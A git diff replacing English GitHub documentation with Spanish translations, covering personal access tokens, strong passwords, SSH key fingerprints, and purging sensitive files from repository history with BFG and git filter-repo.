-Personal access tokens (PATs) are an alternative to using passwords for authentication to {% data variables.product.product_name %} when using the [GitHub API](/rest/overview/other-authentication-methods#via-oauth-and-personal-access-tokens) or the [command line](#using-a-token-on-the-command-line).
+Los tokens de acceso personal (PAT) son una alternativa al uso de contraseñas para la autenticación en {% data variables.product.product_name %} cuando utilizas la [API de GitHub](/rest/overview/other-authentication-methods#via-oauth-and-personal-access-tokens) o la [línea de comandos](#using-a-token-on-the-command-line).
 
-{% ifversion fpt or ghec %}If you want to use a PAT to access resources owned by an organization that uses SAML SSO, you must authorize the PAT. For more information, see "[About authentication with SAML single sign-on](/enterprise-cloud@latest/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on)" and "[Authorizing a personal access token for use with SAML single sign-on](/enterprise-cloud@latest/authentication/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}{% endif %}
+{% ifversion fpt or ghec %}Si quieres utilizar un PAT para acceder a los recursos que pertenecen a una organización que utiliza el SSO de SAML, debes autorizarlo. Para obtener más información, consulta las secciones "[Acerca de la autenticación con el inicio de sesión único de SAML](/enterprise-cloud@latest/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on)" y "[Autorizar un token de acceso personal para utilizarlo con el inicio de sesión único de SAML](/enterprise-cloud@latest/authentication/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on){% ifversion fpt %}" en la documentación de {% data variables.product.prodname_ghe_cloud %}.{% else %}".{% endif %}{% endif %}
 
 {% ifversion fpt or ghec %}{% data reusables.user_settings.removes-personal-access-tokens %}{% endif %}
 
-A token with no assigned scopes can only access public information. To use your token to access repositories from the command line, select `repo`. For more information, see "[Available scopes](/apps/building-oauth-apps/scopes-for-oauth-apps#available-scopes)".
+Un token sin alcances asignados solo puede acceder a información pública. Para usar tu token para acceder a repositorios desde la línea de comando, selecciona `repo`. Para obtener más información, consulta la sección "[Alcances disponibles](/apps/building-oauth-apps/scopes-for-oauth-apps#available-scopes)".
 
-## Creating a token
+## Crear un token
 
-{% ifversion fpt or ghec %}1. [Verify your email address](/github/getting-started-with-github/verifying-your-email-address), if it hasn't been verified yet.{% endif %}
+{% ifversion fpt or ghec %}1. [Verifica tu dirección de correo electrónico](/github/getting-started-with-github/verifying-your-email-address), si aún no ha sido verificada.{% endif %}
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.developer_settings %}
 {% data reusables.user_settings.personal_access_tokens %}
 {% data reusables.user_settings.generate_new_token %}
-5. Give your token a descriptive name.
-   ![Token description field](/assets/images/help/settings/token_description.png){% ifversion fpt or ghes > 3.2 or ghae-issue-4374 or ghec %}
-6. To give your token an expiration, select the **Expiration** drop-down menu, then click a default or use the calendar picker.
-   ![Token expiration field](/assets/images/help/settings/token_expiration.png){% endif %}
-7. Select the scopes, or permissions, you'd like to grant this token. To use your token to access repositories from the command line, select **repo**.
+5. Asígnale a tu token un nombre descriptivo. ![Token description field](/assets/images/help/settings/token_description.png){% ifversion fpt or ghes > 3.2 or ghae-issue-4374 or ghec %}
+6. Para dar un vencimiento a tu token, selecciona el menú desplegable de **Vencimiento** y luego haz clic en uno predeterminado o utiliza el selector de calendario. ![Token expiration field](/assets/images/help/settings/token_expiration.png){% endif %}
+7. Selecciona los alcances o permisos que deseas otorgarle a este token. Para usar tu token para acceder a repositorios desde la línea de comando, selecciona **repo**.
    {% ifversion fpt or ghes or ghec %}
-   ![Selecting token scopes](/assets/images/help/settings/token_scopes.gif)
+   ![Seleccionar los alcances del token](/assets/images/help/settings/token_scopes.gif)
    {% elsif ghae %}
-   ![Selecting token scopes](/assets/images/enterprise/github-ae/settings/access-token-scopes-for-ghae.png)
+   ![Seleccionar los alcances del token](/assets/images/enterprise/github-ae/settings/access-token-scopes-for-ghae.png)
    {% endif %}
-8. Click **Generate token**.
-   ![Generate token button](/assets/images/help/settings/generate_token.png)
+8. Haz clic en **Generar token**. ![Generar un botón para el token](/assets/images/help/settings/generate_token.png)
    {% ifversion fpt or ghec %}
-   ![Newly created token](/assets/images/help/settings/personal_access_tokens.png)
+   ![Token recién creado](/assets/images/help/settings/personal_access_tokens.png)
    {% elsif ghes > 3.1 or ghae %}
-   ![Newly created token](/assets/images/help/settings/personal_access_tokens_ghe.png)
+   ![Token recién creado](/assets/images/help/settings/personal_access_tokens_ghe.png)
    {% else %}
-   ![Newly created token](/assets/images/help/settings/personal_access_tokens_ghe_legacy.png)
+   ![Token recién creado](/assets/images/help/settings/personal_access_tokens_ghe_legacy.png)
    {% endif %}
    {% warning %}
 
-   **Warning:** Treat your tokens like passwords and keep them secret. When working with the API, use tokens as environment variables instead of hardcoding them into your programs. 
+   **Advertencia:**Preserva tus tokens de la misma manera que tus contraseñas y no se las reveles a nadie. Cuando trabajes con la API, usa tokens como variables del entorno en lugar de codificarlos de forma rígida en tus programas.
 
    {% endwarning %}
 
-{% ifversion fpt or ghec %}9. To use your token to authenticate to an organization that uses SAML single sign-on, authorize the token. For more information, see "[Authorizing a personal access token for use with SAML single sign-on](/enterprise-cloud@latest/authentication/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}{% endif %}
+{% ifversion fpt or ghec %}9. Para utilizar tu token o autenticarte en una organización que utilice el inicio de sesión único de SAML, autoriza el token. Para obtener más información, consulta la sección "[Autorizar un token de acceso personal para utilizarse con el inicio de sesión único de SAML](/enterprise-cloud@latest/authentication/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on){% ifversion fpt %}" en la documentación de {% data variables.product.prodname_ghe_cloud %}.{% else %}".{% endif %}{% endif %}
 
-## Using a token on the command line
+## Usar un token en la línea de comando
 
 {% data reusables.command_line.providing-token-as-password %}
 
-Personal access tokens can only be used for HTTPS Git operations. If your repository uses an SSH remote URL, you will need to [switch the remote from SSH to HTTPS](/github/getting-started-with-github/managing-remote-repositories/#switching-remote-urls-from-ssh-to-https).
+Los tokens de acceso personal solo se pueden usar para operaciones HTTPS Git. Si tu repositorio usa una URL SSH remota, necesitarás [pasar de la URL SSH remota a HTTPS](/github/getting-started-with-github/managing-remote-repositories/#switching-remote-urls-from-ssh-to-https).
 
-If you are not prompted for your username and password, your credentials may be cached on your computer. You can [update your credentials in the Keychain](/github/getting-started-with-github/updating-credentials-from-the-macos-keychain) to replace your old password with the token.
+Si no se te solicita tu nombre de usuario y contraseña, tus credenciales pueden estar almacenadas en la caché de tu computadora. Puedes [actualizar tus credenciales en la keychain](/github/getting-started-with-github/updating-credentials-from-the-macos-keychain) para reemplazar tu contraseña anterior con el token.
 
-Instead of manually entering your PAT for every HTTPS Git operation, you can cache your PAT with a Git client. Git will temporarily store your credentials in memory until an expiry interval has passed. You can also store the token in a plain text file that Git can read before every request. For more information, see "[Caching your {% data variables.product.prodname_dotcom %} credentials in Git](/github/getting-started-with-github/caching-your-github-credentials-in-git)."
+En vez de ingresar tu PAT manualmente para cada operación de HTTPS de Git, puedes almacenarlo en caché con un cliente de Git. Git almacenará tus credenciales temporalmente en la memoria hasta que haya pasado un intervalo de vencimiento. También puedes almacenar el token en un archivo de texto simple que pueda leer Git antes de cada solicitud. Para obtener más información, consulta la sección "[ Almacenar tus credencialesde {% data variables.product.prodname_dotcom %} en el caché dentro de Git](/github/getting-started-with-github/caching-your-github-credentials-in-git)".
 
-## Further reading
+## Leer más
 
-- "[About authentication to GitHub](/github/authenticating-to-github/about-authentication-to-github)"{% ifversion fpt or ghae-issue-4374 or ghes > 3.2 or ghec %}
-- "[Token expiration and revocation](/github/authenticating-to-github/keeping-your-account-and-data-secure/token-expiration-and-revocation)"{% endif %}
+- "[Acerca de la autenticación en GitHub](/github/authenticating-to-github/about-authentication-to-github)"{% ifversion fpt or ghae-issue-4374 or ghes > 3.2 or ghec %}
+- "[Vencimiento y revocación de token](/github/authenticating-to-github/keeping-your-account-and-data-secure/token-expiration-and-revocation)"{% endif %}
diff --git a/translations/es-ES/content/authentication/keeping-your-account-and-data-secure/creating-a-strong-password.md b/translations/es-ES/content/authentication/keeping-your-account-and-data-secure/creating-a-strong-password.md
index 85eebfa495..1ab8ce9a43 100644
--- a/translations/es-ES/content/authentication/keeping-your-account-and-data-secure/creating-a-strong-password.md
+++ b/translations/es-ES/content/authentication/keeping-your-account-and-data-secure/creating-a-strong-password.md
@@ -1,6 +1,6 @@
 ---
-title: Creating a strong password
-intro: 'Secure your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} with a strong and unique password using a password manager.'
+title: Crear una contraseña segura
+intro: 'Asegura tu cuenta de {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} con una contraseña única y fuerte utilizando el administrador de contraseñas.'
 redirect_from:
   - /articles/what-is-a-strong-password
   - /articles/creating-a-strong-password
@@ -13,26 +13,27 @@ versions:
 topics:
   - Identity
   - Access management
-shortTitle: Create a strong password
+shortTitle: Crear una contraseña fuerte
 ---
-You must choose or generate a password for your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} that is at least:
-- {% ifversion ghes %}Seven{% else %}Eight{% endif %} characters long, if it includes a number and a lowercase letter, or
-- 15 characters long with any combination of characters
 
-To keep your account secure, we recommend you follow these best practices:
-- Use a password manager, such as [LastPass](https://lastpass.com/) or [1Password](https://1password.com/), to generate a password of at least 15 characters.
-- Generate a unique password for {% data variables.product.product_name %}. If you use your {% data variables.product.product_name %} password elsewhere and that service is compromised, then attackers or other malicious actors could use that information to access your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}.
+Debes elegir o generar una contraseña para tu cuenta de {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} que tenga por lo menos:
+- Una longitud de {% ifversion ghes %}siete{% else %}ocho{% endif %}caracteres, si incluye un número y una letra minúscula, o
+- 15 caracteres de largo con cualquier combinación de caracteres
 
-- Configure two-factor authentication for your personal account. For more information, see "[About two-factor authentication](/articles/about-two-factor-authentication)."
-- Never share your password, even with a potential collaborator. Each person should use their own personal account on {% data variables.product.product_name %}. For more information on ways to collaborate, see: "[Inviting collaborators to a personal repository](/articles/inviting-collaborators-to-a-personal-repository)," "[About collaborative development models](/articles/about-collaborative-development-models/)," or "[Collaborating with groups in organizations](/organizations/collaborating-with-groups-in-organizations/)."
+Para preservar la seguridad de tu cuenta, te recomendamos que sigas estas buenas prácticas:
+- Utiliza un administrador de contraseñas, tal como [LastPass](https://lastpass.com/) o [1Password](https://1password.com/), para generar una contraseña de por lo menos 15 caracteres.
+- Genera una contraseña que sea única para {% data variables.product.product_name %}. Si utilizas tu contraseña de {% data variables.product.product_name %} en cualquier otro lugar y el servicio se puso en riesgo, entonces los atacantes y actores malintenconados podrían utilizar dicha información para acceder a tu cuenta de {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}.
+
+- Configura la autenticación de dos factores para tu cuenta personal. Para obtener más información, consulta "[Acerca de la autenticación de dos factores](/articles/about-two-factor-authentication)".
+- Nunca compartas tu contraseña con nadie, aunque se trate de un potencial colaborador. Cada persona debe usar su propia cuenta personal en {% data variables.product.product_name %}. Para obtener más información acerca de cómo colaborar, consulta: "[Invitar colaboradores a un repositorio personal](/articles/inviting-collaborators-to-a-personal-repository)," "[Acerca de los modelos de desarrollo colaborativos](/articles/about-collaborative-development-models/)," o "[Colaborar con los grupos en las organizaciones](/organizations/collaborating-with-groups-in-organizations/)".
 
 {% data reusables.repositories.blocked-passwords %}
 
-You can only use your password to log on to {% data variables.product.product_name %} using your browser. When you authenticate to {% data variables.product.product_name %} with other means, such as the command line or API, you should use other credentials. For more information, see "[About authentication to {% data variables.product.prodname_dotcom %}](/github/authenticating-to-github/about-authentication-to-github)." 
+Solo puedes utilizar tu contraseña para ingresar en {% data variables.product.product_name %} a través de tu buscador. Cuadno te atutenticas en {% data variables.product.product_name %} con otros medios, tales como la línea de comandos o la API, debes utilizar otras credenciales. Para obtener más información, consulta la sección "[Acerca de la autenticación en {% data variables.product.prodname_dotcom %}](/github/authenticating-to-github/about-authentication-to-github)".
 
 {% ifversion fpt or ghec %}{% data reusables.user_settings.password-authentication-deprecation %}{% endif %}
 
-## Further reading
+## Leer más
 
-- "[Caching your {% data variables.product.product_name %} credentials in Git](/github/getting-started-with-github/caching-your-github-credentials-in-git/)"
-- "[Keeping your account and data secure](/articles/keeping-your-account-and-data-secure/)"
+- [Almacenar tus credenciales de {% data variables.product.product_name %} en la caché en Git](/github/getting-started-with-github/caching-your-github-credentials-in-git/)"
+- "[Preservar la seguridad de tu cuenta y tus datos](/articles/keeping-your-account-and-data-secure/)"
diff --git a/translations/es-ES/content/authentication/keeping-your-account-and-data-secure/githubs-ssh-key-fingerprints.md b/translations/es-ES/content/authentication/keeping-your-account-and-data-secure/githubs-ssh-key-fingerprints.md
index 035d69c803..8ead691c17 100644
--- a/translations/es-ES/content/authentication/keeping-your-account-and-data-secure/githubs-ssh-key-fingerprints.md
+++ b/translations/es-ES/content/authentication/keeping-your-account-and-data-secure/githubs-ssh-key-fingerprints.md
@@ -1,6 +1,6 @@
 ---
-title: GitHub's SSH key fingerprints
-intro: Public key fingerprints can be used to validate a connection to a remote server.
+title: Huellas digitales de la clave SSH de GitHub
+intro: Se pueden utilizar las huellas digitales de clave pública para validar una conexión a un servidor remoto.
 redirect_from:
   - /articles/what-are-github-s-ssh-key-fingerprints
   - /articles/github-s-ssh-key-fingerprints
@@ -13,9 +13,10 @@ versions:
 topics:
   - Identity
   - Access management
-shortTitle: SSH key fingerprints
+shortTitle: Huellas dactilares de las llaves SSH
 ---
-These are {% data variables.product.prodname_dotcom %}'s public key fingerprints:
+
+Estas son las huellas dactilares de la llave pública de {% data variables.product.prodname_dotcom %}:
 
 - `SHA256:nThbg6kXUpJWGl7E1IGOCspRomTxdCARLviKw6E5SY8` (RSA)
 - `SHA256:p2QAMXNIC1TJYWeIOttrVc98/R1BUFWu3/LiyKgUfQM` (ECDSA)
diff --git a/translations/es-ES/content/authentication/keeping-your-account-and-data-secure/index.md b/translations/es-ES/content/authentication/keeping-your-account-and-data-secure/index.md
index 9d1b48210b..1165a30e2f 100644
--- a/translations/es-ES/content/authentication/keeping-your-account-and-data-secure/index.md
+++ b/translations/es-ES/content/authentication/keeping-your-account-and-data-secure/index.md
@@ -1,6 +1,6 @@
 ---
-title: Keeping your account and data secure
-intro: 'To protect your personal information, you should keep both your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} and any associated data secure.'
+title: Mantener seguros tu cuenta y tus datos
+intro: 'Para proteger tu información personal, deberías mantener seguros tanto tu cuenta de {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} como cualquier tipo de datos asociados.'
 redirect_from:
   - /articles/keeping-your-account-and-data-secure
   - /github/authenticating-to-github/keeping-your-account-and-data-secure
@@ -32,6 +32,6 @@ children:
   - /githubs-ssh-key-fingerprints
   - /sudo-mode
   - /preventing-unauthorized-access
-shortTitle: Account security
+shortTitle: Seguridad de la cuenta
 ---
 
diff --git a/translations/es-ES/content/authentication/keeping-your-account-and-data-secure/removing-sensitive-data-from-a-repository.md b/translations/es-ES/content/authentication/keeping-your-account-and-data-secure/removing-sensitive-data-from-a-repository.md
index 385e8c165a..15402730d8 100644
--- a/translations/es-ES/content/authentication/keeping-your-account-and-data-secure/removing-sensitive-data-from-a-repository.md
+++ b/translations/es-ES/content/authentication/keeping-your-account-and-data-secure/removing-sensitive-data-from-a-repository.md
@@ -1,6 +1,6 @@
 ---
-title: Removing sensitive data from a repository
-intro: 'If you commit sensitive data, such as a password or SSH key into a Git repository, you can remove it from the history. To entirely remove unwanted files from a repository''s history you can use either the `git filter-repo` tool or the BFG Repo-Cleaner open source tool.'
+title: Eliminar datos confidenciales de un repositorio
+intro: 'Si confirmas datos confidenciales, como una contraseña o clave SSH en un repositorio de Git, puedes eliminarlos del historial. Para eliminar archivos no deseados por completo del historial de un repositorio, puedes utilizar ya sea la herramienta `git filter-repo` o la herramienta de código abierto BFG Repo-Cleaner.'
 redirect_from:
   - /remove-sensitive-data
   - /removing-sensitive-data
@@ -16,65 +16,66 @@ versions:
 topics:
   - Identity
   - Access management
-shortTitle: Remove sensitive data
+shortTitle: Eliminar los datos sensibles
 ---
-The `git filter-repo` tool and the BFG Repo-Cleaner rewrite your repository's history, which changes the SHAs for existing commits that you alter and any dependent commits. Changed commit SHAs may affect open pull requests in your repository. We recommend merging or closing all open pull requests before removing files from your repository.
 
-You can remove the file from the latest commit with `git rm`. For information on removing a file that was added with the latest commit, see "[About large files on {% data variables.product.prodname_dotcom %}](/repositories/working-with-files/managing-large-files/about-large-files-on-github#removing-files-from-a-repositorys-history)."
+La herramienta `git filter-repo` y el BFG Repo-Cleaner reescriben el historial de tu repositorio, el cual cambia los SHA para las confirmaciones existentes que alteras y cualquier confirmación dependiente. Las SHA de confirmación modificadas pueden afectar las solicitudes de extracción abiertas de tu repositorio. Recomendamos fusionar o cerrar todas las solicitudes de extracción abiertas antes de eliminar archivos de tu repositorio.
+
+Puedes eliminar el archivo desde la última confirmación con `git rm`. Para obtener más información sobre cómo eliminar un archivo que se agregó con la última confirmación, consulta la sección "[Acerca de los archivos grandes en {% data variables.product.prodname_dotcom %}](/repositories/working-with-files/managing-large-files/about-large-files-on-github#removing-files-from-a-repositorys-history)".
 
 {% warning %}
 
-This article tells you how to make commits with sensitive data unreachable from any branches or tags in your repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}. However, it's important to note that those commits may still be accessible in any clones or forks of your repository, directly via their SHA-1 hashes in cached views on {% data variables.product.product_name %}, and through any pull requests that reference them. You cannot remove sensitive data from other users' clones or forks of your repository, but you can permanently remove cached views and references to the sensitive data in pull requests on {% data variables.product.product_name %} by contacting {% data variables.contact.contact_support %}.
+Este artículo te dice cómo hacer que las confirmaciones con datos sensibles sean inalcanzables para las personas que intenten violar la seguridad o para las etiquetas de tu repositorio de {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}. Sin embargo, es importante tener en cuenta que esas confirmaciones pueden seguir siendo accesibles desde cualquier clon o bifurcación de tu repositorio, directamente por medio de sus hashes de SHA-1 en las visualizaciones cacheadas en {% data variables.product.product_name %} y a través de cualquier solicitud de extracción que las referencie. No puedes eliminar los datos sensibles desde los clones o bifurcaciones de tu repositorio que tengan otros usuarios, pero puedes eliminar las vistas almacenadas en caché permanentemente, así como las referencias a los datos sensibles en las solicitudes de cambios en {% data variables.product.product_name %} si contactas al {% data variables.contact.contact_support %}.
 
-**Warning: Once you have pushed a commit to {% data variables.product.product_name %}, you should consider any sensitive data in the commit compromised.** If you committed a password, change it! If you committed a key, generate a new one. Removing the compromised data doesn't resolve its initial exposure, especially in existing clones or forks of your repository. Consider these limitations in your decision to rewrite your repository's history.
+**Advertencia: Una vez que hayas subido una confirmación a {% data variables.product.product_name %}, deberías considerar cualquier dato sensible en la confirmación como puesto en riesgo.** Si confirmaste una contraseña, ¡cámbiala! Si confirmaste una clave, genera una nueva. El eliminar los datos puestos en riesgo no resuelve su exposición inicial, especialmente en clones o bifurcaciones de tu repositorio existentes. Considera estas limitaciones en tu decisión para reescribir el historial de tu repositorio.
 
 {% endwarning %}
 
-## Purging a file from your repository's history
+## Purgar un archivo del historial de tu repositorio
 
-You can purge a file from your repository's history using either the `git filter-repo` tool or the BFG Repo-Cleaner open source tool.
+Puedes purgar un archivo del historial de tu repositorio utilizando ya sea la herramienta `git filter-repo` o la herramienta de código abierto BFG Repo-Cleaner.
 
-### Using the BFG
+### Usar el BFG
 
-The [BFG Repo-Cleaner](https://rtyley.github.io/bfg-repo-cleaner/) is a tool that's built and maintained by the open source community. It provides a faster, simpler alternative to `git filter-branch` for removing unwanted data. 
+El [BFG Repo-Cleaner](https://rtyley.github.io/bfg-repo-cleaner/) es una herramienta construida y mantenida por la comunidad de código abierto. Proporciona una alternativa más rápida y simple que `git filter-branch` para eliminar datos no deseados.
 
-For example, to remove your file with sensitive data and leave your latest commit untouched, run:
+Por ejemplo, para eliminar tu archivo con datos confidenciales y dejar intacta tu última confirmación, ejecuta lo siguiente:
 
 ```shell
 $ bfg --delete-files <em>YOUR-FILE-WITH-SENSITIVE-DATA</em>
 ```
 
-To replace all text listed in `passwords.txt` wherever it can be found in your repository's history, run:
+Para reemplazar todo el texto detallado en `passwords.txt` donde sea que se encuentre en el historial de tu repositorio, ejecuta lo siguiente:
 
 ```shell
 $ bfg --replace-text passwords.txt
 ```
 
-After the sensitive data is removed, you must force push your changes to {% data variables.product.product_name %}. Force pushing rewrites the repository history, which removes sensitive data from the commit history. If you force push, it may overwrite commits that other people have based their work on.
+Después de que se eliminan los datos sensibles, debes subir forzadamente tus cambios a {% data variables.product.product_name %}. El forzar las subidas reescribirá el historial de los repositorios, lo cual eliminará los datos sensibles del historial de confirmaciones. Si haces subidas forzadas, esto podría sobreescribir las confirmaciones en las cuales otros hayan basado su trabajo.
 
 ```shell
 $ git push --force
 ```
 
-See the [BFG Repo-Cleaner](https://rtyley.github.io/bfg-repo-cleaner/)'s documentation for full usage and download instructions.
+Consulta los documentos de [BFG Repo-Cleaner](https://rtyley.github.io/bfg-repo-cleaner/) para obtener todas las indicaciones para el uso y la descarga.
 
-### Using git filter-repo
+### Utilizar git filter-repo
 
 {% warning %}
 
-**Warning:** If you run `git filter-repo` after stashing changes, you won't be able to retrieve your changes with other stash commands. Before running `git filter-repo`, we recommend unstashing any changes you've made. To unstash the last set of changes you've stashed, run `git stash show -p | git apply -R`. For more information, see [Git Tools - Stashing and Cleaning](https://git-scm.com/book/en/v2/Git-Tools-Stashing-and-Cleaning).
+**Advertencia:** si ejecutas `git filter-repo` después de haber acumulado cambios, no podrás retribuir tus cambios con otros comandos acumulados. Antes de ejecutar `git filter-repo`, te recomendamos anular la acumulación de cualquier cambio que hayas hecho. Para dejar de acumular el último conjunto de cambios que hayas acumulado, ejecuta `git stash show -p | git apply -R`. Para obtener más información, consulta la sección [Herramientas - Almacenar y Limpiar](https://git-scm.com/book/en/v2/Git-Tools-Stashing-and-Cleaning).
 
 {% endwarning %}
 
-To illustrate how `git filter-repo` works, we'll show you how to remove your file with sensitive data from the history of your repository and add it to `.gitignore` to ensure that it is not accidentally re-committed.
+Para ilustrar cómo funciona `git filter-repo`, te mostraremos cómo eliminar tu archivo con datos confidenciales del historial de tu repositorio y agregarlo a `.gitignore` para asegurar que no se reconfirmó de manera accidental.
 
-1. Install the latest release of the [git filter-repo](https://github.com/newren/git-filter-repo) tool. You can install `git-filter-repo` manually or by using a package manager. For example, to install the tool with HomeBrew, use the `brew install` command.
+1. Instala el último lanzamiento de la herramienta [git filter-repo](https://github.com/newren/git-filter-repo). Puedes instalar `git-filter-repo` manualmente o utilizando un administrador de paquete. Por ejemplo, para instalar la herramienta con HomeBrew, utiliza el comando `brew install`.
   ```
   brew install git-filter-repo
   ```
-  For more information, see [*INSTALL.md*](https://github.com/newren/git-filter-repo/blob/main/INSTALL.md) in the `newren/git-filter-repo` repository.
+  Para obtener más información, consulta el archivo [*INSTALL.md*](https://github.com/newren/git-filter-repo/blob/main/INSTALL.md) en el repositorio `newren/git-filter-repo`.
 
-2. If you don't already have a local copy of your repository with sensitive data in its history, [clone the repository](/articles/cloning-a-repository/) to your local computer.
+2. Si aún no tienes una copia local de tu repositorio con datos confidenciales en el historial, [clona el repositorio](/articles/cloning-a-repository/) en tu computadora local.
   ```shell
   $ git clone https://{% data variables.command_line.codeblock %}/<em>YOUR-USERNAME</em>/<em>YOUR-REPOSITORY</em>
   > Initialized empty Git repository in /Users/<em>YOUR-FILE-PATH</em>/<em>YOUR-REPOSITORY</em>/.git/
@@ -84,15 +85,15 @@ To illustrate how `git filter-repo` works, we'll show you how to remove your fil
   > Receiving objects: 100% (1301/1301), 164.39 KiB, done.
   > Resolving deltas: 100% (724/724), done.
   ```
-3. Navigate into the repository's working directory.
+3. Navega hacia el directorio de trabajo del repositorio.
   ```shell
   $ cd <em>YOUR-REPOSITORY</em>
   ```
-4. Run the following command, replacing `PATH-TO-YOUR-FILE-WITH-SENSITIVE-DATA` with the **path to the file you want to remove, not just its filename**. These arguments will:
-    - Force Git to process, but not check out, the entire history of every branch and tag
-    - Remove the specified file, as well as any empty commits generated as a result
-    - Remove some configurations, such as the remote URL, stored in the *.git/config* file. You may want to back up this file in advance for restoration later.
-    - **Overwrite your existing tags**
+4. Ejecuta el siguiente comando, reemplazando `PATH-TO-YOUR-FILE-WITH-SENSITIVE-DATA` por la **ruta al archivo que quieres eliminar, no solo con su nombre de archivo**. Estos argumentos harán lo siguiente:
+    - Forzar a Git a que procese, pero no revise, todo el historial de cada rama y etiqueta
+    - Eliminar el archivo especificado y cualquier confirmación vacía generada como resultado
+    - Elimina algunas configuraciones, tales como la URL remota almacenada en el archivo *.git/config*. Podrías necesitar respaldar este archivo con anticipación para restaurarlo posteriormente.
+    - **Sobrescribir tus etiquetas existentes**
         ```shell
         $ git filter-repo --invert-paths --path PATH-TO-YOUR-FILE-WITH-SENSITIVE-DATA
         Parsed 197 commits
@@ -110,11 +111,11 @@ To illustrate how `git filter-repo` works, we'll show you how to remove your fil
 
   {% note %}
 
-  **Note:** If the file with sensitive data used to exist at any other paths (because it was moved or renamed), you must run this command on those paths, as well.
+  **Nota:** Si se utilizó el archivo con datos confidenciales para que existiera en cualquier otra ruta (porque se movió o se renombró), debes ejecutar este comando en esas rutas también.
 
   {% endnote %}
 
-5. Add your file with sensitive data to `.gitignore` to ensure that you don't accidentally commit it again.
+5. Agrega tu archivo con datos confidenciales a `.gitignore` para asegurar que no lo volviste a confirmar por accidente.
 
   ```shell
   $ echo "<em>YOUR-FILE-WITH-SENSITIVE-DATA</em>" >> .gitignore
@@ -123,8 +124,8 @@ To illustrate how `git filter-repo` works, we'll show you how to remove your fil
   > [main 051452f] Add <em>YOUR-FILE-WITH-SENSITIVE-DATA</em> to .gitignore
   >  1 files changed, 1 insertions(+), 0 deletions(-)
   ```
-6. Double-check that you've removed everything you wanted to from your repository's history, and that all of your branches are checked out.
-7. Once you're happy with the state of your repository, force-push your local changes to overwrite your repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}, as well as all the branches you've pushed up. A force push is required to remove sensitive data from your commit history.
+6. Comprueba que hayas eliminado todo lo que querías del historial de tu repositorio y que todas tus ramas estén revisadas.
+7. Una vez que estés satisfecho con el estado de tu repositorio, haz una subida forzada de tus cambios locales para sobreescribir tu repositorio de {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}, así como las ramas que hayas subido. Se requiere una subida forzada para eliminar los datos sensibles de tu historial de confirmaciones.
   ```shell
   $ git push origin --force --all
   > Counting objects: 1074, done.
@@ -135,11 +136,11 @@ To illustrate how `git filter-repo` works, we'll show you how to remove your fil
   > To https://{% data variables.command_line.codeblock %}/<em>YOUR-USERNAME</em>/<em>YOUR-REPOSITORY</em>.git
   >  + 48dc599...051452f main -> main (forced update)
   ```
-8. In order to remove the sensitive file from [your tagged releases](/articles/about-releases), you'll also need to force-push against your Git tags:
+8. Para eliminar el archivo confidencial de [tus lanzamientos etiquetados](/articles/about-releases), también deberás realizar un empuje forzado contra tus etiquetas de Git:
   ```shell
   $ git push origin --force --tags
   > Counting objects: 321, done.
-  > Delta compression using up to 8 threads.
+  > Delta compression using up to 4 threads.
   > Compressing objects: 100% (166/166), done.
   > Writing objects: 100% (321/321), 331.74 KiB | 0 bytes/s, done.
   > Total 321 (delta 124), reused 269 (delta 108)
@@ -147,15 +148,15 @@ To illustrate how `git filter-repo` works, we'll show you how to remove your fil
   >  + 48dc599...051452f main -> main (forced update)
   ```
 
-## Fully removing the data from {% data variables.product.prodname_dotcom %}
+## Eliminar los datos de {% data variables.product.prodname_dotcom %} por completo
 
-After using either the BFG tool or `git filter-repo` to remove the sensitive data and pushing your changes to {% data variables.product.product_name %}, you must take a few more steps to fully remove the data from {% data variables.product.product_name %}.
+Después de utilizar ya sea la herramienta de BFG o `git filter-repo` para eliminar los datos sensibles y subir tus cambios a {% data variables.product.product_name %}, debes tomar algunos pasos adicionales para eliminar los datos de {% data variables.product.product_name %} completamente.
 
-1. Contact {% data variables.contact.contact_support %}, asking them to remove cached views and references to the sensitive data in pull requests on {% data variables.product.product_name %}. Please provide the name of the repository and/or a link to the commit you need removed.
+1. Contáctate con {% data variables.contact.contact_support %} y pregúntale cómo eliminar visualizaciones cacheadas y referencias a los datos confidenciales en las solicitudes de extracción en {% data variables.product.product_name %}. Por favor, proporciona el nombre del repositorio o un enlace a la confirmación que necesitas eliminar.
 
-2. Tell your collaborators to [rebase](https://git-scm.com/book/en/Git-Branching-Rebasing), *not* merge, any branches they created off of your old (tainted) repository history. One merge commit could reintroduce some or all of the tainted history that you just went to the trouble of purging.
+2. Pídeles a tus colaboradores que [rebasen](https://git-scm.com/book/en/Git-Branching-Rebasing), *no* fusionen, cualquier rama que hayan creado fuera del historial de tu repositorio antiguo (contaminado). Una confirmación de fusión podría volver a introducir algo o todo el historial contaminado sobre el que acabas de tomarte el trabajo de purgar.
 
